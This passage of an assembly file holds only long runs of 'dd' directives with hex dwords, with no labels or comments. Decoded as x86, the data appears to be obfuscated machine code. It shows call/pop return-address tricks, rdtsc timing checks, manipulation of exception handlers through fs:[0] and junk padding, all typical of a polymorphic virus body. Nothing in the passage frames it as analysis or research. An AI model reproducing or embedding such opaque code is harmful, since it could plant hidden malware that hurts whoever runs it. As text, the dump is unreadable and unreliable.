1A810Fh, 0EE80000h, 86000000h dd 0D574DC35h, 0D8DD1330h, 1C5E4E4Ah, 659D0B1Dh, 5B06072Ch dd 0CEEE9h, 0E800h, 815D0000h, 0B5309EDh, 0FE906h, 109B0000h dd 0D89E2DEDh, 0C741BCD5h, 0E76F3Eh, 57006A23h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 1A48BC66h dd 0A858DF8h, 8B060A91h, 730659Dh, 199D2906h, 90060720h dd 0B7535250h, 310F5F2Ah, 5350585Ah, 5BDE8B66h, 57006A90h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 578DB984h, 0FA4E6EE6h, 0F98D8900h, 6406072Ah, 35FFh dd 89640000h, 25h, 59BD8B00h, 0FF060704h, 70FA585h, 0EF816606h dd 0FF6A6775h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 8CC35646h, 293CE380h, 71AA19Dh, 0C9B5FF06h, 6A060722h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 0DCF0C352h, 21EDBCA1h, 303595FFh, 52E90607h dd 0E8000001h, 10h, 0F5709680h, 706FF1D0h, 638F6634h, 2E37E98Dh dd 7E960h, 18730000h, 0F798EC6h, 0F0BF660Fh, 0B05F61B4h dd 0FA8B6600h, 0E4FC70E6h, 10E871h, 85DE0000h, 0F729B743h dd 6EDDE124h, 5301CB7Bh, 816631F5h, 5FCEDACBh, 830F613Ch dd 0FDh, 10E9h, 66BBC400h, 109FD304h, 8643DE21h, 87A6D7AFh dd 0C8B60FA4h, 8E9h, 1739A100h, 132A834Ah, 6BA3Fh, 0FF50000h dd 0C18BD9B7h, 0FE9h, 67415C00h, 19750285h, 0E5D98BEh dd 6011F0D0h, 6604E8C1h, 6617EDBFh, 0EE8E2F7h, 0B6000000h dd 0A11D8C9Bh, 765EA833h, 7832EB3Bh, 619509D2h, 5F06072Fh dd 89C82BF5h, 703E18Dh, 0E9D18B06h, 5, 35C200BBh, 0F5858B26h dd 8106070Bh, 0ADAC15E7h, 7C08351h, 0DE960h, 3FDD0000h dd 29A97E51h, 54A47BC1h, 66316BAEh, 8361C38Bh, 8D0100C0h dd 6071DCDh, 830FD03Bh, 10h, 10AD9D09h, 3EE90607h, 66000000h dd 0F2ABD781h, 18218D8Bh, 9D8B0607h, 6070019h, 0F01E183h dd 2484h, 6860F00h dd 89000000h, 71E399Dh, 21A58306h, 0FE060718h, 7B18589h dd 95890607h, 6070BF5h, 0E9h, 5BB58D00h, 8B060AE3h, 71C29BDh dd 8B006A06h, 710E19Dh, 195FF06h, 6A060732h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 342AC352h, 0E8ACB750h, 5, 8B0DBCC1h, 0D8D29BAh, 5B060722h dd 0BE8h, 5348BB00h, 9D113772h, 500FF465h, 1E019D8Bh, 0B95F0607h dd 975h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 0E1C35747h, 0BF098AA4h, 79D7F8FBh, 799D8B56h, 8906071Ah dd 722FD85h, 0FCE18306h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 77C35242h, 7BEF2BE3h, 8B6F809Ah, 0F19D8BDAh dd 0FC06071Ah, 0C9BD8B56h, 5F06072Ah, 0B8h, 14E900h, 36E60000h dd 23BBEFEBh, 0E2DE5E80h, 3F484709h, 0C2D4A6D2h, 0D22B7923h dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 92C35242h, 38D464E4h, 0BF0FF3BDh dd 619D29FBh, 6A06070Bh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 0E206C352h, 8DCFA161h dd 0D99F81Dh, 88h, 1830BB66h, 1B41958Bh, 0D88B0607h, 6058D8Bh dd 5E80607h, 0C0000000h, 29703A7Ch, 11E9h, 0B5432300h dd 0F84B4339h, 2B7AE807h, 5121AD64h, 505B4568h, 188BC28Bh dd 188BC103h, 0E8D1C18Bh, 188BC203h, 57006A58h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 0D6B31920h dd 0F0B6ECD9h, 6A5007h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 8421F6C3h, 40468346h, 13E8h, 0C2F4C00h dd 0A2864C07h, 0A3C9ECFAh, 0EDAE7EFCh, 0CED2D7ABh, 12259D89h dd 835F0607h, 70BD1BDh, 840F0006h, 6Bh, 0AD9D8Bh, 0B80607h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 39D2C356h, 9DB663A2h, 0B48D8D64h dd 6A06074Dh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 0A47CC356h, 7C932BC7h, 2B78039Fh dd 722F5BDh, 85BD8B06h, 0FF060722h, 0AD9D8BE1h, 83060706h dd 70069BDh, 840F0006h, 3E1h, 8CEBDF81h, 0F38100BDh, 1572079Bh dd 69BD83h, 0F010607h, 3E384h, 5858900h, 83060707h, 70069BDh dd 860F0306h, 39Ah, 0EFBCF381h, 6A60115Ch, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 7210C353h dd 968800C6h, 9BD8BA8h, 6606072Dh, 0DA8BD98Ch, 0F04E180h dd 683h, 5858900h, 0A06071Bh, 34840FC9h, 6A000001h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 5AAAC356h, 90DBD8Bh, 858B0607h, 607306Dh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 4C35343h, 0D8E7F712h dd 0D73B3254h, 0EE822h, 1B3A0000h, 0B4270982h, 3D38542Eh dd 831B8121h, 0FE960h, 67990000h, 10346AEDh, 191DB4ACh dd 10E20F96h, 61B5890Ah, 6106071Ch, 585335Bh, 9060733h dd 72C1585h, 0F98B5006h, 8B240489h, 710CD9Dh, 6A006A06h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 18EAC351h, 686BE4B7h, 0A672ECA4h, 7E9h, 8EFD5200h dd 7841E7E6h, 5B240481h, 0BF59AC17h, 447F511Dh, 1B9195FFh dd 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 0F82430C3h, 728589F5h, 6A060AB3h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 0CA20C353h, 668E2B74h, 9D8BD98Bh, 6071F3Dh, 16BE9h dd 0FD958900h, 8B06070Bh, 0AB36A85h, 9F8FBB06h, 0C7070Eh dd 18h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h dd 0E0C35646h, 8B66664Ah, 6EB58BFBh, 60060AB3h, 2DD19D29h dd 0BBB90607h, 611ECF34h, 1579858Bh, 0E7800607h, 6A068917h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 0B198C357h, 0E838B7DEh, 7, 60BCBED5h, 898ECC45h dd 7169595h, 858B5B06h, 607306Dh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 59C35040h, 4F09FA41h, 44689B7h dd 96DBBF0Fh, 9D8B9650h, 607331Dh, 0B36AB5FFh, 0DA8B060Ah dd 0EBAE6968h, 0D98B605Ah, 0CCEDF6BEh, 34816106h, 0F4AD9624h dd 53006A5Ah, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 0EA22BF7Ah, 6E962h, 0FEEC0000h, 0AEC8DECh dd 0B372858Dh, 0BF66060Ah, 50902343h, 0DF8B6652h, 5060310Fh dd 5A310F52h, 13E958h, 96B50000h, 0A82E8053h, 9249ACF3h dd 0C4E2FB79h, 0E004FD60h, 585A61CCh, 6A9050h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 1929D1C3h, 0E94D6B3Ah, 1B9195FFh, 0BD8B0607h, 6072B99h dd 56006A61h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 33235CDCh, 8BF586F2h, 71215BDh, 6985C706h dd 3060700h, 0F000000h, 1C8Ah, 0B5336000h, 607010Dh, 0EE8h dd 0A081C400h, 21FE3BFBh, 82C4F4FCh, 5FBBB34Ch, 72BD8361h dd 60AB3h, 54840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 271075C3h, 0F5B58905h dd 80060705h, 72B3E6C7h, 40E9h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 23F479A5h dd 4BE7008Bh, 30507E6Ch, 4400110Ch, 0E8C10111h, 11443010h dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h dd 7504E983h, 8B00EBE7h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 0BB5088BAh, 0FA8B6662h dd 89FE8B66h, 704D59Dh, 69BD8306h, 3060700h, 397850Fh dd 5E90000h, 21000000h, 0E31E249Eh, 0B372BD83h, 0F00060Ah dd 38084h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 0E9DEC721h, 0B5FF0B62h, 60AB372h dd 4DBD0B56h, 5F06071Bh, 154595FFh, 6A0607h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 19F0E8C3h dd 9DBA65E3h, 0F5C4F3C0h, 0B366B58Bh, 830F060Ah, 0 dd 106C7h, 6A0001h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 5AC7ADC3h, 9D0B689Ch, 6072F85h dd 38F0F50h, 66000000h, 3489FE8Bh, 56006A24h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0FFE3B394h dd 0AB372B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 0A3482BEEh, 7D99D89h, 9D890607h dd 6070C4Dh, 91195FFh, 6A0607h, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 8B6023C3h, 71CB59Dh dd 66B58B06h, 66060AB3h, 858BD88Bh, 6072CC9h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 83C35040h, 0FE889CBh dd 0E89h, 9E900h, 0E530000h, 0B172FDAEh, 89F0FF30h, 0C486h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 7FD023CBh, 1B899D09h, 0BB510607h, 2955AE86h dd 41958B5Fh, 6606071Bh, 0C283F88Bh, 5089FC04h, 0CB816620h dd 858DB1B0h, 60AC7EDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 48C35343h, 8689FD76h, 0B8h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 3C35646h, 0BD896417h dd 6073301h, 8F0F006Ah, 1, 72B5FFF9h, 6A060AB3h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 0DA14C351h, 3500499Ah, 0B748CFB6h, 5A9BD8Bh, 95FF0607h dd 60729FDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 0FEC35141h, 9EB3B6EAh, 0AADBD8Bh, 50960607h, 5296DA8Bh dd 5BFFB70Fh, 0B372B5FFh, 6A060Ah, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 637AF0C3h, 66336C8Eh dd 0FFFCA6BFh, 71AA595h, 0B9852906h, 83060730h, 708ADBDh dd 840F0006h, 2Ah, 16D98589h, 60960607h, 8A616060h, 0DF8B61E5h dd 6E95061h, 66000000h, 0DF7C53B2h, 0BD8B9678h, 6070005h dd 1D9BD8Bh, 0B5FF0607h, 60AB372h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 13C35343h, 4850Fh, 0BB660000h dd 95FFFB39h, 6072605h, 1ADDBD01h, 0B5FF0607h, 60AB372h dd 61F38B60h, 1DF195FFh, 0E9600607h, 10h, 3A4243BAh, 0FCD598C6h dd 9A50A1A8h, 1B635D57h, 0B1BD8361h, 2060703h, 34840Fh dd 858B0000h, 6070749h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 26C35141h, 0D515FD23h, 25263377h, 0C6A6h dd 1C9DB589h, 85C70607h, 6070F49h, 0 dd 8BD88B66h, 716C99Dh, 0F3E8E906h, 8166FFFFh, 8BAC50EFh dd 53006AC1h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 169F296Fh, 8DFB8B77h, 71F1985h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 0C3FD99D0h, 890F5150h, 2, 895FD5B7h, 0B5892404h, 60704B9h dd 0A72BB66h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 114632C3h, 7483FFEh, 0EE838h, 55E40000h dd 0E311BDFh, 7C3B613Ch, 0B66F87E7h, 18B1B501h, 6A5B0607h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 0D649584Bh, 0CAD028A7h, 6224858Dh, 9531060Bh dd 6073191h, 8B05C083h, 717559Dh, 810F9006h, 2, 5050FE8Bh dd 9E852h, 6BD80000h, 0B79C172Bh, 60421558h, 310F5B61h dd 310F5250h, 6CB6BF66h, 585A585Ah, 51006A90h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 5BEC4CD5h dd 0F73ADDD5h, 69C3807Fh, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 815A0AC3h, 3006AF5h dd 70B59BDh, 0CD95FF06h, 6A06071Bh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0BB60C352h dd 20453C52h, 9C2F1CDh, 707D9B5h, 0B78D8D06h, 6A060AA5h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 89D2C350h, 71F958Dh, 66D1FF06h, 0BD83DF8Bh dd 6071995h, 96850F01h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 9707C357h dd 6A53A0A9h, 1A98357Ah, 30799531h, 26A0607h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 45C35141h, 92C40451h dd 0E912F3E6h, 8, 0C9FDEF9Dh, 27949252h, 0BF505090h, 3C3168E6h dd 6A905Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 59987AC3h, 7D27B8DCh, 0F99D89BFh, 0FF06071Ch dd 729FD95h, 0D8FE906h, 0E80000h, 5D000000h, 622EED81h dd 880F060Bh, 0Ch, 6800Fh, 95890000h, 6071F5Dh, 32D1BD8Bh dd 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h dd 55450000h, 43BC0FC3h, 1F18ADCh, 5E8h, 0D88300h, 860FD8EAh dd 6, 1252E781h, 895F7454h, 70A9D85h, 0A858D06h, 0E9060A91h dd 0Bh, 94A7020Fh, 1EB1D83Ah, 90A537E6h, 50DE8B66h, 61605360h dd 0C267B858h, 90610112h, 29799D89h, 0FF640607h, 35h, 24BE6000h dd 0E915A063h, 6, 8A1EADBBh, 6461014Bh, 2589h, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 7B66E8C3h, 9B1A6583h, 0FFFA8B90h, 70FA585h, 8BF88B06h dd 81FF6ADAh, 151F6BE3h, 85B5FF05h, 6A06070Ah, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 9C0C357h, 8589AFF5h, 6070801h, 303595FFh, 0FEE90607h dd 0E8000000h, 5, 65C01F5Ah, 0F1BD8BB9h, 5B060706h, 6ABB00B0h dd 0E677558Eh, 0D5BD8970h, 0E4060729h, 8A0F5071h, 6, 9012D381h dd 895F2E98h, 7292D8Dh, 0F613C06h, 0C083h, 39BD8B00h, 0B060721h dd 721B1BDh, 0C8B60F06h, 81DE8060h, 6BA61h, 9D890000h dd 60701B9h, 9589C18Bh, 6071665h, 8004E8C1h, 0F7668BD3h dd 0DF8166E2h, 0C82B5118h, 8E9h, 803B1500h, 18A06806h dd 79B5896Dh, 8B060717h, 95B589D1h, 0E906072Eh, 0 dd 25F9858Bh, 28BF0607h, 8366F8FAh, 0C08307C0h, 29853100h dd 3B060727h, 0F830FD0h, 66000000h, 0E9862EBFh, 41h, 1FD18589h dd 8D8B0607h, 607109Dh, 0F01E183h, 2C84h, 9D950900h, 31060731h dd 720ED95h, 9DA58306h, 0FE060710h, 0F8D9D03h, 95890607h dd 60725F9h, 0AACB8157h, 5F41F03Fh, 0E9h, 18B58D00h, 6A060AEFh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 239AC356h, 0D17684D1h, 8B006A01h, 195FFDAh dd 6A060732h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 0FF05C357h, 7FFE51BFh, 0A2C0E6E1h dd 0E9FABF0Fh, 0Ah, 1F263D87h, 406E003Ch, 12B95688h, 81000008h dd 0DDEA6DF7h, 9B5013Fh, 83060727h, 12E8FCE1h, 65000000h dd 1DFD5BD4h, 0F5C62168h, 8C937BD6h, 24CE0375h, 0A59D8B0Eh dd 5F060701h, 7FF780FCh, 6AC02Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 8E0F6DC3h, 5, 86E78166h dd 880F17h, 0BA000000h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 31C35040h dd 659FCEECh, 0C233ADFEh, 0D003E8D1h, 7504E983h, 0C78166F4h dd 6A9500h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 601BFEC3h, 30919589h, 8D010607h, 6072675h dd 880D61h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 31F6F6C3h, 5DBB6603h, 0D18501A5h dd 8B06071Bh, 71B4195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 7672E0AAh, 9D897487h dd 6070BC1h, 58D8BF5h, 6A060706h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 4A44C352h dd 9F068132h, 0F9E5482Dh, 1FC59D0Bh, 8B500607h, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 0EC35343h, 4D7100A5h, 5AE8E707h dd 6AFE8Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 0ABE67AC3h, 0FC95256h, 283h, 83B3B300h, 70BD1BDh dd 840F0006h, 6Fh, 10E9h, 7832EB00h, 0C74F99D2h, 1E529DACh dd 0A1BAD141h, 8E832h, 0E43C0000h, 0B8CDF19Eh, 0BD895C4Eh dd 6072D2Dh, 0B85Fh, 29600000h, 7105985h, 6890F06h, 89000000h dd 715D195h, 8D8D6106h, 6074DB4h, 0FFD88B66h, 51006AE1h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 66F07AB7h, 839159BFh, 70069BDh, 840F0006h, 3F0h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0BBC35646h, 833B0B0Bh dd 70069BDh, 840F0106h, 3DFh, 2D318D89h, 0BD830607h, 6070069h dd 96860F03h, 8B000003h, 71AC9BDh, 0BD8B6006h, 6072FF5h dd 6AD98C66h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 50ECC356h, 0F22E6A3Fh, 0CFB581B3h dd 9E9F9h, 0CD5B0000h, 3C09890Ah, 803E3A4Ah, 0BB6604E1h dd 0C90AB173h, 111840Fh, 60600000h, 0C96853B8h, 0B5896146h dd 6072655h, 6D858B61h, 0E8060730h, 7, 0C0F0B9F1h, 8B2EBBCCh dd 70821BDh, 85335B06h, 6073305h, 0CAD9C5BFh, 880F9018h dd 2, 5350F88Bh, 905FFA8Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 0E7C35343h, 697D81ABh, 650D3E75h, 501BD89h dd 6A0607h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 5CC35343h, 0BA0F17Bh, 4ABF71FEh, 68149592h, 11EC040Bh dd 8DE5BB66h, 0F4243481h, 0F11F307h, 38Ah, 0C4CB8000h dd 1B9195FFh, 0BD0B0607h, 6072FF5h, 2EFDBD8Bh, 85890607h dd 60AB372h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 75C35343h, 0D0AF0BFh, 20FE927h, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 0D38275C3h, 55113F9Dh, 8B24167Ah, 0AB36A85h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0C7FC6A5Ch, 1800h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 78BF66E2h, 6EB58B40h dd 89060AB3h, 71A0D9Dh, 79858B06h, 66060715h, 89767CBBh dd 6830F06h, 9000000h, 72B2D9Dh, 6D858B06h, 6A060730h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 22E0C350h, 0D6C10AF5h, 91BD316Fh, 89060705h dd 6A0446h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 962228C3h, 825874BBh, 0AE8500Fh, 0B4000000h dd 4C8D4C24h, 9FB55104h, 525056C2h, 585A310Fh, 6A965B5Bh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 0C8B3C352h, 0F2EF6CCAh, 0BF0F780Ah, 66AEB7FAh dd 0B5FFFB8Bh, 60AB36Ah, 2D099589h, 4E80607h, 0FF000000h dd 0BB001F03h, 6D8C32E4h, 66606050h, 61BBEEBEh, 860Fh dd 8B610000h, 0BF042444h, 11DE2753h, 6653008Bh, 895FF98Bh dd 0F042444h, 1A8Eh, 11E800h, 6E150000h, 0B9913903h, 0FB47C250h dd 6818B5A0h, 66373B52h, 585BF98Bh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 1FC35141h, 96CACA76h, 8B66B8FAh dd 72858DDFh, 8B060AB3h, 7298DBDh, 8B605006h, 665250DFh dd 310FD08Bh, 0DE9h, 0AA9F0D00h, 80AE1BE6h, 0AD67D933h dd 585A2612h, 24048961h, 1B0DBD0Bh, 95FF0607h, 6071B91h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 7DC35343h dd 35F3DFFDh, 1D2181A7h, 0BD0B6164h, 6071B79h, 6985C7FCh dd 3060700h, 89000000h, 722C5B5h, 72BD8306h, 60AB3h, 23840Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 1DE9E1C3h, 8B000000h, 0C3050DFh, 11440011h dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h dd 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h dd 83110430h, 0E77504E9h, 0C08B00EBh, 6820Fh, 0E3810000h dd 35718E4Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 0CCC35141h, 0B1F9096Ch, 93AC74Dh, 0B9BD8B8Fh, 8306070Bh dd 70069BDh, 850F0306h, 42Ch, 19B59589h, 0B70F0607h, 72BD83FFh dd 60AB3h, 416840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1C0424h, 51410000h, 0D61F80C3h, 46B24BADh dd 0F53A891h, 0FF5FDABFh, 0AB372B5h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 0BD8BF432h dd 607078Dh, 154595FFh, 6A0607h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 0F3A009C3h, 2DBD8924h dd 8B06072Bh, 0AB366B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 106C75Eh, 66000100h, 0E950FE8Bh dd 0Dh, 0D3B952A6h, 0F9005D62h, 1670212Ah, 243489D2h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0A0C35343h, 0CB81D328h dd 6BB6AE28h, 0B372B5FFh, 9D2B060Ah, 60723CDh, 91195FFh dd 0BD8B0607h, 6071ED5h, 0B366B58Bh, 6A060Ah, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0D69A5C3h dd 2DF07C56h, 666B5F43h, 8B660CBFh, 72CC985h, 0B9BD2B06h dd 89060717h, 0C486h, 0C1CB8100h, 8B0E0C3Fh, 71B4195h dd 8E0F5606h, 6, 0DEDDCF81h, 835F744Fh, 6A04C2h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 425ECC3h, 5089D248h, 57006A20h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 0F05CD6Ch, 0DCB35FDBh dd 0DBBF0F9Ah, 858DFB8Bh, 60AC7EDh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 3FC35747h dd 198589D1h, 89060726h, 0B886h, 599D8B00h, 6A060718h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 0C74DB1F9h, 0B372B5FFh, 6A060Ah, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 2F8A1AC3h, 0E39123DAh, 0FFFFBF0Fh, 729FD95h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 8BB3C2C4h, 70C759Dh, 0E0BB5006h, 893E6700h, 6A2434h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 8B346AC3h, 8E8F8h, 0B73F0000h, 9EECE105h, 0FF5B0B09h dd 0AB372B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 0F50D4ECBh, 0E845ABCBh, 0Ch, 0D943E788h dd 111A3B97h, 0EF32E06Ah, 0A595FF5Bh, 6A06071Ah, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 0AFACC355h, 0B4D3CB5Dh, 8E9B56Ah, 8E000000h, 7493BFCh dd 8340EC23h, 708ADBDh, 840F0006h, 48h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 17h, 2EC35646h, 89BA0E07h dd 71D89BDh, 52509606h, 0FF98B66h, 50525031h, 5A310F52h dd 66310F58h, 585AF98Bh, 6650585Ah, 6696F98Bh, 0F88BD98Bh dd 0B372B5FFh, 5EB7060Ah, 260595FFh, 0BD8B0607h, 60729B1h dd 0B372B5FFh, 0DC8A060Ah, 0FFFA8B66h, 71DF195h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 3138EC0h, 0F781664Ch, 8D0F3A99h, 3, 83D88B66h, 703B1BDh dd 840F0206h, 5Ch, 165DBD8Bh, 858B0607h, 6070749h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 96C35747h, 0DFFA475Bh dd 0D98B6656h, 6A0000C6h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 0A66C352h, 6B725F94h dd 85896545h, 60722A9h, 0F4985C7h, 607h, 0BD890000h, 60706C5h dd 0FFF380E9h, 50006AFFh, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 0BD8922B9h, 6072275h dd 798FAFBBh, 3C18B64h, 7122D9Dh, 19858D06h, 6A06071Fh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 8D7AC352h, 25B331Ah, 90F0DDFBh, 310F5250h dd 0CE9h, 215B6800h, 6204C7B7h, 0E5CF89D8h, 50585A9Fh dd 96CAA2BFh, 6AF8901Eh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 6AF93Ch, 0C78166h, 0B1CF8031h dd 7147858Dh, 6A060Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 0EC157AC3h, 2F3BAA72h, 6A05C083h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 0B2A1C353h, 2538AC54h, 239882D8h, 71E519Dh dd 0D1BB5006h, 894F44CBh, 0B70F2404h, 6A006AFBh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 8AF2C357h, 759866B7h, 